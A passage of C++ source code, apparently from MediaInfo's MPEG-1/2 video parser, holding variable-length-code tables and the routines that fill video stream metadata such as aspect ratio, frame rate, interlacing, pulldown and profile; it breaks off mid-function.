0, 0x22}, VLC_END }; const File__Analyze::vlc Mpegv_macroblock_type_P[]= { { 1, 1, 0, 0, 0x14}, { 1, 1, 0, 0, 0x04}, { 1, 1, 0, 0, 0x10}, { 3, 2, 0, 0, 0x02}, { 2, 0, 0, 0, 0x34}, { 1, 0, 0, 0, 0x24}, { 1, 1, 0, 0, 0x22}, {(int32u)-1,(int8u)-1, 0, 0, 0} }; const File__Analyze::vlc Mpegv_macroblock_type_B[]= { { 2 , 2 , 0 , 0 , 0x18 }, { 3 , 0 , 0 , 0 , 0x1C }, { 2 , 1 , 0 , 0 , 0x08 }, { 3 , 0 , 0 , 0 , 0x0C }, { 2 , 1 , 0 , 0 , 0x10 }, { 3 , 0 , 0 , 0 , 0x14 }, { 3 , 1 , 0 , 0 , 0x02 }, { 2 , 0 , 0 , 0 , 0x3C }, { 3 , 1 , 0 , 0 , 0x34 }, { 2 , 0 , 0 , 0 , 0x2C }, { 1 , 0 , 0 , 0 , 0x22 }, VLC_END }; const File__Analyze::vlc Mpegv_motion_code[]= { { 1 , 1 , 0 , 0 , 0 }, { 1 , 1 , 0 , 0 , 1 }, { 1 , 1 , 0 , 0 , 2 }, { 1 , 1 , 0 , 0 , 3 }, { 3 , 2 , 0 , 0 , 4 }, { 5 , 1 , 0 , 0 , 5 }, { 4 , 0 , 0 , 0 , 6 }, { 3 , 0 , 0 , 0 , 7 }, { 11 , 2 , 0 , 0 , 8 }, { 10 , 0 , 0 , 0 , 9 }, { 9 , 0 , 0 , 0 , 10 }, { 17 , 1 , 0 , 0 , 11 }, { 16 , 0 , 0 , 0 , 12 }, { 15 , 0 , 0 , 0 , 13 }, { 14 , 0 , 0 , 0 , 14 }, { 13 , 0 , 0 , 0 , 15 }, { 12 , 0 , 0 , 0 , 16 }, VLC_END }; const File__Analyze::vlc Mpegv_dmvector[]= { { 0 , 1 , 0 , 0 , 0 }, { 2 , 1 , 0 , 0 , 1 }, { 3 , 0 , 0 , 0 , -1 }, VLC_END }; const File__Analyze::vlc Mpegv_coded_block_pattern[]= { // cbp { 7 , 3 , 0 , 0 , 60 }, { 13 , 1 , 0 , 0 , 4 }, { 12 , 0 , 0 , 0 , 8 }, { 11 , 0 , 0 , 0 , 16 }, { 10 , 0 , 0 , 0 , 32 }, { 19 , 1 , 0 , 0 , 12 }, { 18 , 0 , 0 , 0 , 48 }, { 17 , 0 , 0 , 0 , 20 }, { 16 , 0 , 0 , 0 , 40 }, { 15 , 0 , 0 , 0 , 28 }, { 14 , 0 , 0 , 0 , 44 }, { 13 , 0 , 0 , 0 , 52 }, { 12 , 0 , 0 , 0 , 56 }, { 11 , 0 , 0 , 0 , 1 }, { 10 , 0 , 0 , 0 , 61 }, { 9 , 0 , 0 , 0 , 2 }, { 8 , 0 , 0 , 0 , 62 }, { 15 , 1 , 0 , 0 , 24 }, { 14 , 0 , 0 , 0 , 36 }, { 13 , 0 , 0 , 0 , 3 }, { 12 , 0 , 0 , 0 , 63 }, { 23 , 1 , 0 , 0 , 5 }, { 22 , 0 , 0 , 0 , 9 }, { 21 , 0 , 0 , 0 , 17 }, { 20 , 0 , 0 , 0 , 33 }, { 19 , 0 , 0 , 0 , 6 }, { 18 , 0 , 0 , 0 , 10 }, { 17 , 0 , 0 , 0 , 18 }, { 16 , 0 , 0 , 0 , 34 }, { 31 , 1 , 0 , 0 , 7 }, { 30 , 0 , 0 , 0 , 11 }, { 29 , 0 , 0 , 0 , 19 }, { 28 , 0 , 0 , 0 , 35 }, { 27 , 0 , 0 , 0 , 13 }, { 26 , 0 , 0 , 0 , 49 }, { 25 , 0 , 0 , 0 , 21 }, { 24 , 0 , 0 , 0 , 41 }, { 23 , 0 , 0 , 0 , 14 }, { 22 , 0 , 0 , 0 , 50 }, { 21 , 0 , 0 , 0 , 22 }, { 20 , 0 , 0 , 0 , 42 }, { 19 , 0 , 0 , 0 , 15 }, { 18 , 0 , 0 , 0 , 51 }, { 17 , 0 , 0 , 0 , 23 }, { 16 , 0 , 0 , 0 , 43 }, { 15 , 0 , 0 , 0 , 25 }, { 14 , 0 , 0 , 0 , 37 }, { 13 , 0 , 0 , 0 , 26 }, { 12 , 0 , 0 , 0 , 38 }, { 11 , 0 , 0 , 0 , 29 }, { 10 , 0 , 0 , 0 , 45 }, { 9 , 0 , 0 , 0 , 53 }, { 8 , 0 , 0 , 0 , 57 }, { 7 , 0 , 0 , 0 , 30 }, { 6 , 0 , 0 , 0 , 46 }, { 5 , 0 , 0 , 0 , 54 }, { 4 , 0 , 0 , 0 , 58 }, { 7 , 1 , 0 , 0 , 31 }, { 6 , 0 , 0 , 0 , 47 }, { 5 , 0 , 0 , 0 , 55 }, { 4 , 0 , 0 , 0 , 59 }, { 3 , 0 , 0 , 0 , 27 }, { 2 , 0 , 0 , 0 , 39 }, { 1 , 0 , 0 , 0 , 0 }, VLC_END }; #endif //MEDIAINFO_MACROBLOCKS #if !MEDIAINFO_ADVANCED const int64u Config_VariableGopDetection_Occurences=4; #endif // MEDIAINFO_ADVANCED //*************************************************************************** // Constructor/Destructor //*************************************************************************** //--------------------------------------------------------------------------- File_Mpegv::File_Mpegv() :File__Analyze() { //Configuration ParserName="MPEG Video"; #if MEDIAINFO_EVENTS ParserIDs[0]=MediaInfo_Parser_Mpegv; StreamIDs_Width[0]=16; #endif //MEDIAINFO_EVENTS #if MEDIAINFO_TRACE Trace_Layers_Update(8); //Stream #endif //MEDIAINFO_TRACE Trusted_Multiplier=2; MustSynchronize=true; Buffer_TotalBytes_FirstSynched_Max=64*1024; PTS_DTS_Needed=true; IsRawStream=true; Frame_Count_NotParsedIncluded=0; //In MPEG_Version=1; Frame_Count_Valid=MediaInfoLib::Config.ParseSpeed_Get()>=0.3?512:2; FrameIsAlwaysComplete=false; TimeCodeIsNotTrustable=false; #if defined(MEDIAINFO_ANCILLARY_YES) Ancillary=NULL; #endif //defined(MEDIAINFO_ANCILLARY_YES) #if MEDIAINFO_ADVANCED InitDataNotRepeated_Optional=false; #endif // MEDIAINFO_ADVANCED //temporal_reference TemporalReference_Offset=0; #if defined(MEDIAINFO_DTVCCTRANSPORT_YES) GA94_03_Parser=NULL; GA94_03_TemporalReference_Offset=0; GA94_03_IsPresent=false; Text_Positions.push_back(text_position(GA94_03_Parser)); CC___Parser=NULL; CC___IsPresent=false; Text_Positions.push_back(text_position(CC___Parser)); #endif //defined(MEDIAINFO_DTVCCTRANSPORT_YES) #if defined(MEDIAINFO_SCTE20_YES) Scte_Parser=NULL; Scte_TemporalReference_Offset=0; Scte_IsPresent=false; Text_Positions.push_back(text_position(Scte_Parser)); #endif //defined(MEDIAINFO_SCTE20_YES) #if defined(MEDIAINFO_AFDBARDATA_YES) DTG1_Parser=NULL; GA94_06_Parser=NULL; #endif //defined(MEDIAINFO_AFDBARDATA_YES) #if defined(MEDIAINFO_CDP_YES) Cdp_Parser=NULL; Cdp_IsPresent=false; Text_Positions.push_back(text_position(Cdp_Parser)); #endif //defined(MEDIAINFO_CDP_YES) #if defined(MEDIAINFO_AFDBARDATA_YES) AfdBarData_Parser=NULL; #endif //defined(MEDIAINFO_AFDBARDATA_YES) //Temp SizeToAnalyse_Begin=1*1024*1024; SizeToAnalyse_End=1*1024*1024; Frame_Count_LastIFrame=(int64u)-1; Searching_TimeStamp_Start_DoneOneTime=false; sequence_header_IsParsed=false; FrameInfo.DTS=0; Parsing_End_ForDTS=false; //Macroblocks #if MEDIAINFO_MACROBLOCKS Macroblocks_Parse=false; #endif //MEDIAINFO_MACROBLOCKS #if MEDIAINFO_ADVANCED || MEDIAINFO_EVENTS Slices_Count=0; Has_sequence_header=false; Has_sequence_extension=false; #endif // MEDIAINFO_ADVANCED || MEDIAINFO_EVENTS } //--------------------------------------------------------------------------- File_Mpegv::~File_Mpegv() { for (size_t Pos=0; Pos<TemporalReference.size(); Pos++) delete TemporalReference[Pos]; //TemporalReference[Pos]=NULL; #if defined(MEDIAINFO_DTVCCTRANSPORT_YES) delete GA94_03_Parser; //GA94_03_Parser=NULL; delete CC___Parser; //CC___Parser=NULL; #endif //defined(MEDIAINFO_DTVCCTRANSPORT_YES) #if defined(MEDIAINFO_SCTE20_YES) delete Scte_Parser; //Scte_Parser=NULL; #endif //defined(MEDIAINFO_SCTE20_YES) #if defined(MEDIAINFO_AFDBARDATA_YES) delete DTG1_Parser; //DTG1_Parser=NULL; delete GA94_06_Parser; //GA94_06_Parser=NULL; #endif //defined(MEDIAINFO_AFDBARDATA_YES) //Macroblocks #if MEDIAINFO_MACROBLOCKS if (Macroblocks_Parse) { delete[] macroblock_address_increment_Vlc.Array; //macroblock_address_increment_Vlc.Array=NULL; delete[] macroblock_address_increment_Vlc.BitsToSkip; //macroblock_address_increment_Vlc.Size=NULL; delete[] dct_dc_size_luminance.Array; //dct_dc_size_luminance.Array=NULL; delete[] dct_dc_size_luminance.BitsToSkip; //dct_dc_size_luminance.Size=NULL; delete[] dct_dc_size_chrominance.Array; //dct_dc_size_chrominance.Array=NULL; delete[] dct_dc_size_chrominance.BitsToSkip; //dct_dc_size_chrominance.Size=NULL; delete[] dct_coefficients_0.Array; //dct_coefficients_0.Array=NULL; delete[] dct_coefficients_0.BitsToSkip; //dct_coefficients_0.Size=NULL; delete[] dct_coefficients_1.Array; //dct_coefficients_1.Array=NULL; delete[] dct_coefficients_1.BitsToSkip; //dct_coefficients_1.Size=NULL; } #endif //MEDIAINFO_MACROBLOCKS } //*************************************************************************** // Streams management //*************************************************************************** //--------------------------------------------------------------------------- void File_Mpegv::Streams_Accept() { Stream_Prepare(Stream_Video); } //--------------------------------------------------------------------------- void File_Mpegv::Streams_Update() { for (size_t Text_Positions_Pos=0; Text_Positions_Pos<Text_Positions.size(); Text_Positions_Pos++) { if (*Text_Positions[Text_Positions_Pos].Parser && (*Text_Positions[Text_Positions_Pos].Parser)->Status[IsUpdated]) { Update(*Text_Positions[Text_Positions_Pos].Parser); for (size_t Pos=0; Pos<(*Text_Positions[Text_Positions_Pos].Parser)->Count_Get(Stream_Text); Pos++) { //Saving previous Muxing mode Ztring MuxingMode=Retrieve(Stream_Text, Text_Positions[Text_Positions_Pos].StreamPos+Pos, "MuxingMode"); bool IsNewStream=false; if (Retrieve(Stream_Text, Text_Positions[Text_Positions_Pos].StreamPos+Pos, Text_ID)!=(*Text_Positions[Text_Positions_Pos].Parser)->Get(Stream_Text, Pos, Text_ID)) { Stream_Prepare(Stream_Text, Text_Positions[Text_Positions_Pos].StreamPos+Pos); for (size_t Text_Positions_Pos2=Text_Positions_Pos+1; Text_Positions_Pos2<Text_Positions.size(); Text_Positions_Pos2++) Text_Positions[Text_Positions_Pos2].StreamPos++; IsNewStream=true; } Merge(*(*Text_Positions[Text_Positions_Pos].Parser), Stream_Text, Pos, Text_Positions[Text_Positions_Pos].StreamPos+Pos); Ztring LawRating=(*Text_Positions[Text_Positions_Pos].Parser)->Retrieve(Stream_General, 0, General_LawRating); if (!LawRating.empty()) Fill(Stream_General, 0, General_LawRating, LawRating, true); Ztring Title=(*Text_Positions[Text_Positions_Pos].Parser)->Retrieve(Stream_General, 0, General_Title); if (!Title.empty() && Retrieve(Stream_General, 0, General_Title).empty()) Fill(Stream_General, 0, General_Title, Title); if (IsNewStream) { #if defined(MEDIAINFO_DTVCCTRANSPORT_YES) if ((*Text_Positions[Text_Positions_Pos].Parser)==GA94_03_Parser) MuxingMode=__T("A/53 / ")+Retrieve(Stream_Text, Text_Positions[Text_Positions_Pos].StreamPos+Pos, "MuxingMode"); #endif //defined(MEDIAINFO_DTVCCTRANSPORT_YES) #if defined(MEDIAINFO_SCTE20_YES) if ((*Text_Positions[Text_Positions_Pos].Parser)==Scte_Parser) MuxingMode=Retrieve(Stream_Text, Text_Positions[Text_Positions_Pos].StreamPos+Pos, "MuxingMode"); #endif //defined(MEDIAINFO_DTVCCTRANSPORT_YES) #if defined(MEDIAINFO_GXF_YES) && defined(MEDIAINFO_CDP_YES) if ((*Text_Positions[Text_Positions_Pos].Parser)==Cdp_Parser) MuxingMode=__T("Ancillary data / ")+Retrieve(Stream_Text, Text_Positions[Text_Positions_Pos].StreamPos+Pos, "MuxingMode"); #endif //defined(MEDIAINFO_GXF_YES) && defined(MEDIAINFO_CDP_YES) } Fill(Stream_Text, Text_Positions[Text_Positions_Pos].StreamPos+Pos, "MuxingMode", MuxingMode, true); } } } } //--------------------------------------------------------------------------- void File_Mpegv::Streams_Fill() { //Version if (MPEG_Version==2) { Fill(Stream_General, 0, General_Format_Version, "Version 2"); Fill(Stream_Video, 0, Video_Format, "MPEG Video"); Fill(Stream_Video, 0, Video_Format_Version, "Version 2"); Fill(Stream_Video, 0, Video_Format_Commercial, "MPEG-2 Video"); Fill(Stream_Video, 0, Video_Codec, "MPEG-2V"); Fill(Stream_Video, 0, Video_Codec_String, "MPEG-2 Video", Unlimited, true, true); } else { Fill(Stream_General, 0, General_Format_Version, "Version 1"); Fill(Stream_Video, 0, Video_Format, "MPEG Video"); Fill(Stream_Video, 0, Video_Format_Version, "Version 1"); Fill(Stream_Video, 0, Video_Format_Commercial, "MPEG-1 Video"); Fill(Stream_Video, 0, Video_Codec, "MPEG-1V"); Fill(Stream_Video, 0, Video_Codec_String, "MPEG-1 Video", Unlimited, true, true); } Fill(Stream_Video, 0, Video_Width, 0x1000*horizontal_size_extension+horizontal_size_value); Fill(Stream_Video, 0, Video_Height, 0x1000*vertical_size_extension+vertical_size_value); Fill(Stream_Video, 0, Video_Colorimetry, Mpegv_Colorimetry_format[chroma_format]); Fill(Stream_Video, 0, Video_ColorSpace, "YUV"); Fill(Stream_Video, 0, Video_BitDepth, 8); //AspectRatio if (MPEG_Version==2) { if (aspect_ratio_information==0) ;//Forbidden else if (aspect_ratio_information==1) Fill(Stream_Video, 0, Video_PixelAspectRatio, 1.000, 3, true); else if (display_horizontal_size && display_vertical_size) { if (vertical_size_value && Mpegv_aspect_ratio2[aspect_ratio_information]) Fill(Stream_Video, StreamPos_Last, Video_DisplayAspectRatio, (float)(0x1000*horizontal_size_extension+horizontal_size_value)/(0x1000*vertical_size_extension+vertical_size_value) *Mpegv_aspect_ratio2[aspect_ratio_information]/((float)display_horizontal_size/display_vertical_size), 3, true); } else if (Mpegv_aspect_ratio2[aspect_ratio_information]) Fill(Stream_Video, StreamPos_Last, Video_DisplayAspectRatio, Mpegv_aspect_ratio2[aspect_ratio_information], 3, true); } else //Version 1 { if (vertical_size_value && Mpegv_aspect_ratio1[aspect_ratio_information]) Fill(Stream_Video, StreamPos_Last, Video_DisplayAspectRatio, (float)(0x1000*horizontal_size_extension+horizontal_size_value)/(0x1000*vertical_size_extension+vertical_size_value)/Mpegv_aspect_ratio1[aspect_ratio_information], 3, true); } //FrameRate if (Mpegv_frame_rate[frame_rate_code]) Fill(Stream_Video, StreamPos_Last, Video_FrameRate, Mpegv_frame_rate[frame_rate_code] * (frame_rate_extension_n + 1) / (frame_rate_extension_d + 1)); //BitRate if (vbv_delay==0xFFFF || (MPEG_Version==1 && bit_rate_value==0x3FFFF)) Fill(Stream_Video, 0, Video_BitRate_Mode, "VBR"); else Fill(Stream_Video, 0, Video_BitRate_Mode, "CBR"); if (bit_rate_value_IsValid && (bit_rate_extension>0 || bit_rate_value!=0x3FFFF)) Fill(Stream_Video, 0, Video_BitRate_Maximum, ((((int32u)bit_rate_extension<<12))+bit_rate_value)*400); //Interlacement if (MPEG_Version==1) { Fill(Stream_Video, 0, Video_ScanType, "Progressive"); Fill(Stream_Video, 0, Video_Interlacement, "PPF"); } else if (progressive_frame_Count && progressive_frame_Count!=Frame_Count && progressive_frame_Count!=Frame_Count+1) //In case the stream is cut before a slice { //This is mixed } else if (Frame_Count>0) //Only if we have at least one progressive_frame definition { if (progressive_sequence || progressive_frame_Count==Frame_Count || progressive_frame_Count==Frame_Count+1) { Fill(Stream_Video, 0, Video_ScanType, "Progressive"); Fill(Stream_Video, 0, Video_Interlacement, "PPF"); if (!progressive_sequence && !(Interlaced_Top && Interlaced_Bottom) && !(!Interlaced_Top && !Interlaced_Bottom)) Fill(Stream_Video, 0, Video_ScanOrder, Interlaced_Top?"TFF":"BFF"); } else { Fill(Stream_Video, 0, Video_ScanType, "Interlaced"); if ((Interlaced_Top && Interlaced_Bottom) || (!Interlaced_Top && !Interlaced_Bottom)) Fill(Stream_Video, 0, Video_Interlacement, "Interlaced"); else { Fill(Stream_Video, 0, Video_ScanOrder, Interlaced_Top?"TFF":"BFF"); Fill(Stream_Video, 0, Video_Interlacement, Interlaced_Top?"TFF":"BFF"); } if (!(PictureStructure_Field && PictureStructure_Frame) && !(!PictureStructure_Field && !PictureStructure_Frame)) Fill(Stream_Video, 0, Video_Format_Settings_PictureStructure, PictureStructure_Field?"Field":"Frame"); } std::string TempRef; for (size_t Pos=0; Pos<TemporalReference.size(); Pos++) if (TemporalReference[Pos] && TemporalReference[Pos]->HasPictureCoding) { TempRef+=TemporalReference[Pos]->top_field_first?"T":"B"; TempRef+=TemporalReference[Pos]->repeat_first_field?"3":"2"; } if (TempRef.find('3')!=std::string::npos) { if (TempRef.find("T2T3B2B3T2T3B2B3")!=std::string::npos || TempRef.find("B2B3T2T3B2B3T2T3")!=std::string::npos) { Fill(Stream_Video, 0, Video_ScanOrder, "2:3 Pulldown", Unlimited, true, true); Fill(Stream_Video, 0, Video_FrameRate, FrameRate*24/30, 3, true); //Real framerate Fill(Stream_Video, 0, Video_ScanType, "Progressive", Unlimited, true, true); Fill(Stream_Video, 0, Video_Interlacement, "PPF", Unlimited, true, true); } if (TempRef.find("T2T2T2T2T2T2T2T2T2T2T2T3B2B2B2B2B2B2B2B2B2B2B2B3")!=std::string::npos || TempRef.find("B2B2B2B2B2B2B2B2B2B2B2B3T2T2T2T2T2T2T2T2T2T2T2T3")!=std::string::npos) { Fill(Stream_Video, 0, Video_ScanOrder, "2:2:2:2:2:2:2:2:2:2:2:3 Pulldown", Unlimited, true, true); Fill(Stream_Video, 0, Video_FrameRate, FrameRate*24/25, 3, true); //Real framerate Fill(Stream_Video, 0, Video_ScanType, "Progressive", Unlimited, true, true); Fill(Stream_Video, 0, Video_Interlacement, "PPF", Unlimited, true, true); } } } //Profile if (!profile_and_level_indication_escape && profile_and_level_indication_profile!=(int8u)-1 && profile_and_level_indication_level!=(int8u)-1) { Fill(Stream_Video, 0, Video_Format_Profile, Ztring().From_Local(Mpegv_profile_and_level_indication_profile[profile_and_level_indication_profile])+__T("@")+Ztring().From_Local(Mpegv_profile_and_level_indication_level[profile_and_level_indication_level])); Fill(Stream_Video, 0, Video_Codec_Profile, Ztring().From_Local(Mpegv_profile_and_level_indication_profile[profile_and_level_indication_profile])+__T("@")+Ztring().From_Local(Mpegv_profile_and_level_indication_level[profile_and_level_indication_level])); } else if (profile_and_level_indication_escape) { Fill(Stream_Video, 0, Video_Format_Profile, Ztring().From_Local(Mpegv_profile_and_level_indication(profile_and_level_indication))); Fill(Stream_Video, 0, Video_Codec_Profile, Ztring().From_Local(Mpegv_profile_and_level_indication(profile_and_level_indication))); } //Standard Fill(Stream_Video, 0, Video_Standard, Mpegv_video_format[video_format]); if (colour_description) { Fill(Stream_Video, 0, Video_colour_description_present, "Yes"); Fill(Stream_Video, 0, Video_colour_primaries, Mpegv_colour_primaries(colour_primaries)); Fill(Stream_Video, 0, Video_transfer_characteristics, Mpegv_transfer_characteristics(transfer_characteristics)); Fill(Stream_Video, 0, Video_matrix_coefficients, Mpegv_matrix_coefficients(matrix_coefficients)); } //Matrix if (load_intra_quantiser_matrix || load_non_intra_quantiser_matrix) { Fill(Stream_Video, 0, Video_Format_Settings, "CustomMatrix"); Fill(Stream_Video, 0, Video_Format_Settings_Matrix, "Custom"); Fill(Stream_Video, 0, Video_Format_Settings_Matrix_Data, Matrix_intra); Fill(Stream_Video, 0, Video_Format_Settings_Matrix_Data, Matrix_nonintra); Fill(Stream_Video, 0, Video_Codec_Settings, "CustomMatrix"); Fill(Stream_Video, 0, Video_Codec_Settings_Matrix, "Custom"); } else { Fill(Stream_Video, 0, Video_Format_Settings_Matrix, "Default"); Fill(Stream_Video, 0, Video_Codec_Settings_Matrix, "Default"); } //library if (Library.size()>=8) { Fill(Stream_Video, 0, Video_Encoded_Library, Library); Fill(Stream_Video, 0, Video_Encoded_Library_Name, Library_Name); Fill(Stream_Video, 0, Video_Encoded_Library_Version, Library_Version); Fill(Stream_General, 0, General_Encoded_Library, Library); Fill(Stream_General, 0, General_Encoded_Library_Name, Library_Name); Fill(Stream_General, 0, General_Encoded_Library_Version, Library_Version); } //Delay if (group_start_FirstPass && !TimeCodeIsNotTrustable && Time_Begin_Seconds!=Error) { float64 Time_Begin=((float64)Time_Begin_Seconds)*1000; if (FrameRate) Time_Begin+=((float64)Time_Begin_Frames)*1000/FrameRate; Fill(Stream_Video, 0, Video_Delay, Time_Begin, 0); Fill(Stream_Video, 0, Video_Delay_Settings, Ztring(__T("drop_frame_flag="))+(group_start_drop_frame_flag?__T("1"):__T("0"))); Fill(Stream_Video, 0, Video_Delay_Settings, Ztring(__T("closed_gop="))+(group_start_closed_gop?__T("1"):__T("0"))); Fill(Stream_Video, 0, Video_Delay_Settings, Ztring(__T("broken_link="))+(group_start_broken_link?__T("1"):__T("0"))); Fill(Stream_Video, 0, Video_Delay_Source, "Stream"); Fill(Stream_Video, 0, Video_Delay_DropFrame, group_start_drop_frame_flag?"Yes":"No"); if (group_start_closed_gop_Closed+group_start_closed_gop_Open>=4 && ((group_start_closed_gop && group_start_closed_gop_Closed==1) || group_start_closed_gop_Closed==0 || group_start_closed_gop_Open==0)) // Testing a couple of GOPs, and coherant { if (group_start_closed_gop_Open) { Fill(Stream_Video, 0, "Gop_OpenClosed", "Open"); if (group_start_closed_gop) Fill(Stream_Video, 0, "Gop_OpenClosed_FirstFrame", "Closed"); } else { Fill(Stream_Video, 0, "Gop_OpenClosed", "Closed"); } } Fill(Stream_Video, 0, Video_TimeCode_FirstFrame, TimeCode_FirstFrame.c_str()); if (IsSub) Fill(Stream_Video, 0, Video_TimeCode_Source, "Group of pictures header"); } //BVOP if (BVOP_Count>0) { Fill(Stream_Video, 0, Video_Format_Settings, "BVOP"); Fill(Stream_Video, 0, Video_Format_Settings_BVOP, "Yes"); } else Fill(Stream_Video, 0, Video_Format_Settings_BVOP, "No"); //Buffer Fill(Stream_Video, 0, Video_BufferSize, 2*1024*((((int32u)vbv_buffer_size_extension)<<10)+vbv_buffer_size_value)); //Autorisation of other streams if (!Status[IsAccepted]) { NextCode_Clear(); NextCode_Add(0x00); NextCode_Add(0xB8); } #if MEDIAINFO_MACROBLOCKS if (!Macroblocks_Parse) #endif //MEDIAINFO_MACROBLOCKS for (int8u Pos=0x01; Pos<=0xAF; Pos++) Streams[Pos].Searching_Payload=false; Streams[0xB8].Searching_TimeStamp_End=true; if (IsSub) { Streams[0xB3].Searching_TimeStamp_End=true; Streams[0x00].Searching_TimeStamp_End=true; } //Caption may be in user_data, must be activated if full parsing is requested #if defined(MEDIAINFO_DTVCCTRANSPORT_YES) || defined(MEDIAINFO_SCTE20_YES) || (defined(MEDIAINFO_GXF_YES) && defined(MEDIAINFO_CDP_YES)) Streams[0x00].Searching_Payload=GA94_03_IsPresent || Cdp_IsPresent; Streams[0xB2].Searching_Payload=GA94_03_IsPresent || CC___IsPresent || Scte_IsPresent; Streams[0xB3].Searching_Payload=GA94_03_IsPresent || Cdp_IsPresent; #endif //defined(MEDIAINFO_DTVCCTRANSPORT_YES) || defined(MEDIAINFO_SCTE20_YES) || (defined(MEDIAINFO_GXF_YES) && defined(MEDIAINFO_CDP_YES)) if (Config->ParseSpeed>=1) { Streams[0x00].Searching_Payload=true; Streams[0xB2].Searching_Payload=true; Streams[0xB3].Searching_Payload=true; Streams[0xB5].Searching_Payload=true; } #if defined(MEDIAINFO_AFDBARDATA_YES) if (DTG1_Parser) Merge(*DTG1_Parser, Stream_Video, 0, 0); if (GA94_06_Parser) { Merge(*GA94_06_Parser, Stream_Video, 0, 0); Ztring LawRating=GA94_06_Parser->Retrieve(Stream_General, 0, General_LawRating); if (!LawRating.empty()) Fill(Stream_General, 0, General_LawRating, LawRating, true); Ztring Title=GA94_06_Parser->Retrieve(Stream_General, 0, General_Title); if (!Title.empty() && Retrieve(Stream_General, 0, General_Title).empty()) Fill(Stream_General, 0, General_Title, Title); } #endif //defined(MEDIAINFO_AFDBARDATA_YES) #if defined(MEDIAINFO_AFDBARDATA_YES) if (AfdBarData_Parser) Merge(*AfdBarData_Parser, Stream_Video, 0, 0); #endif //defined(MEDIAINFO_AFDBARDATA_YES) //extra if (intra_dc_precision!=(int8u)-1) { Fill(Stream_Video, 0, "intra_dc_precision", 8+intra_dc_precision); (*Stream_More)[Stream_Video][0](Ztring().From_Local("intra_dc_precision"), Info_Options)=__T("N NT"); } //Commercial name if (Retrieve(Stream_Video, 0, Video_Format_Version)==__T("Version 2") && Retrieve(Stream_Video, 0, Video_DisplayAspectRatio)==__T("1.778") && Retrieve(Stream_Video, 0, Video_BitDepth)==__T("8") && Retrieve(Stream_Video, 0, Video_ChromaSubsampling)==__T("4:2:0")) { //HDV1 if (Retrieve(Stream_Video, 0, Video_Width)==__T("1280") && Retrieve(Stream_Video, 0, Video_Height)==__T("720") && Retrieve(Stream_Video, 0, Video_ScanType)==__T("Progressive") && (Retrieve(Stream_Video, 0, Video_FrameRate)==__T("60.000") || Retrieve(Stream_Video, 0, Video_FrameRate)==__T("59.940") || Retrieve(Stream_Video, 0, Video_FrameRate)==__T("30.000") || Retrieve(Stream_Video, 0, Video_FrameRate)==__T("29.970") || Retrieve(Stream_Video, 0, Video_FrameRate)==__T("24.000") || Retrieve(Stream_Video, 0, Video_FrameRate)==__T("23.976") || Retrieve(Stream_Video, 0, Video_FrameRate)==__T("50.000") || Retrieve(Stream_Video, 0, Video_FrameRate)==__T("25.000")) && (Retrieve(Stream_Video, 0, Video_Format_Profile)==__T("Main@High") || Retrieve(Stream_Video, 0, Video_Format_Profile)==__T("Main@High 1440")) && Retrieve(Stream_Video, 0, Video_BitRate).To_int64u()<20000000 && Retrieve(Stream_Video, 0, Video_BitRate_Maximum).To_int64u()<20000000) Fill(Stream_Video, 0, Video_Format_Commercial_IfAny, "HDV 720p"); //HDV2 if (Retrieve(Stream_Video, 0, Video_Width)==__T("1440") && Retrieve(Stream_Video, 0, Video_Height)==__T("1080") && Retrieve(Stream_Video, 0, Video_Format_Profile)==__T("Main@High 1440") && Retrieve(Stream_Video, 0, Video_BitRate).To_int64u()<27000000 && Retrieve(Stream_Video, 0, Video_BitRate_Maximum).To_int64u()<27000000) { //Interlaced if (Retrieve(Stream_Video, 0, Video_ScanType)==__T("Interlaced") && (Retrieve(Stream_Video, 0, Video_FrameRate)==__T("30.000") || Retrieve(Stream_Video, 0, Video_FrameRate)==__T("29.970") || Retrieve(Stream_Video, 0, Video_FrameRate)==__T("50.000") || Retrieve(Stream_Video, 0, Video_FrameRate)==__T("25.000"))) Fill(Stream_Video, 0, Video_Format_Commercial_IfAny, "HDV 1080i"); //Progressive if (Retrieve(Stream_Video, 0, Video_ScanType)==__T("Progressive") && (Retrieve(Stream_Video, 0, Video_FrameRate)==__T("30.000") || Retrieve(Stream_Video, 0, Video_FrameRate)==__T("29.970") || Retrieve(Stream_Video, 0, Video_FrameRate)==__T("24.000") || Retrieve(Stream_Video, 0, Video_FrameRate)==__T("23.976") || Retrieve(Stream_Video, 0, Video_FrameRate)==__T("50.000") || Retrieve(Stream_Video, 0, Video_FrameRate)==__T("25.000"))) Fill(Stream_Video, 0, Video_Format_Commercial_IfAny, "HDV 1080p"); } } } //--------------------------------------------------------------------------- void File_Mpegv::Streams_Finish() { //Duration if (PTS_End>PTS_Begin) { if (PTS_End_temporal_reference<temporal_reference_Max) { int64u tc_ToAdd=tc/((progressive_sequence || picture_structure==3)?1:2); //Progressive of Frame PTS_End+=tc_ToAdd*(temporal_reference_Max-PTS_End_temporal_reference-1); //TODO: handle cases with 3:2 Pulldown (different progressive_sequence / picture_structure) } Fill(Stream_Video, 0, Video_Duration, float64_int64s(((float64)(PTS_End-PTS_Begin))/1000000)); } else if (Frame_Count_NotParsedIncluded!=(int64u)-1) { Fill(Stream_Video, 0, Video_FrameCount, Frame_Count_NotParsedIncluded); if (FrameRate) Fill(Stream_Video, 0, Video_Duration, Frame_Count_NotParsedIncluded/FrameRate*1000, 0); } else if (!TimeCodeIsNotTrustable && Time_End_Seconds!=Error && FrameRate) { TimeCode Time_Begin_TC; Time_Begin_TC.FramesPerSecond=(int8u)ceil(FrameRate); Time_Begin_TC.DropFrame=group_start_IsParsed?group_start_drop_frame_flag:((FrameRate-ceil(FrameRate))?true:false); Time_Begin_TC.Hours=(int8u)(Time_Begin_Seconds/3600); Time_Begin_TC.Minutes=(int8u)((Time_Begin_Seconds%3600)/60); Time_Begin_TC.Seconds=(int8u)(Time_Begin_Seconds%60); Time_Begin_TC.Frames=(int8u)Time_Begin_Frames; TimeCode Time_End_TC; Time_End_TC.FramesPerSecond=(int8u)ceil(FrameRate); Time_End_TC.DropFrame=Time_Begin_TC.DropFrame; Time_End_TC.Hours=(int8u)(Time_End_Seconds/3600); Time_End_TC.Minutes=(int8u)((Time_End_Seconds%3600)/60); Time_End_TC.Seconds=(int8u)(Time_End_Seconds%60); Time_End_TC.Frames=(int8u)Time_End_Frames; int64u Time_Begin_FrameCount=Time_Begin_TC.ToFrames(); int64u Time_End_FrameCount = Time_End_TC.ToFrames(); Fill(Stream_Video, 0, Video_FrameCount, Time_End_FrameCount-Time_Begin_FrameCount, 0); Fill(Stream_Video, 0, Video_Duration, (Time_End_FrameCount-Time_Begin_FrameCount)/FrameRate*1000, 0); } //picture_coding_types if (!picture_coding_types.empty()) { 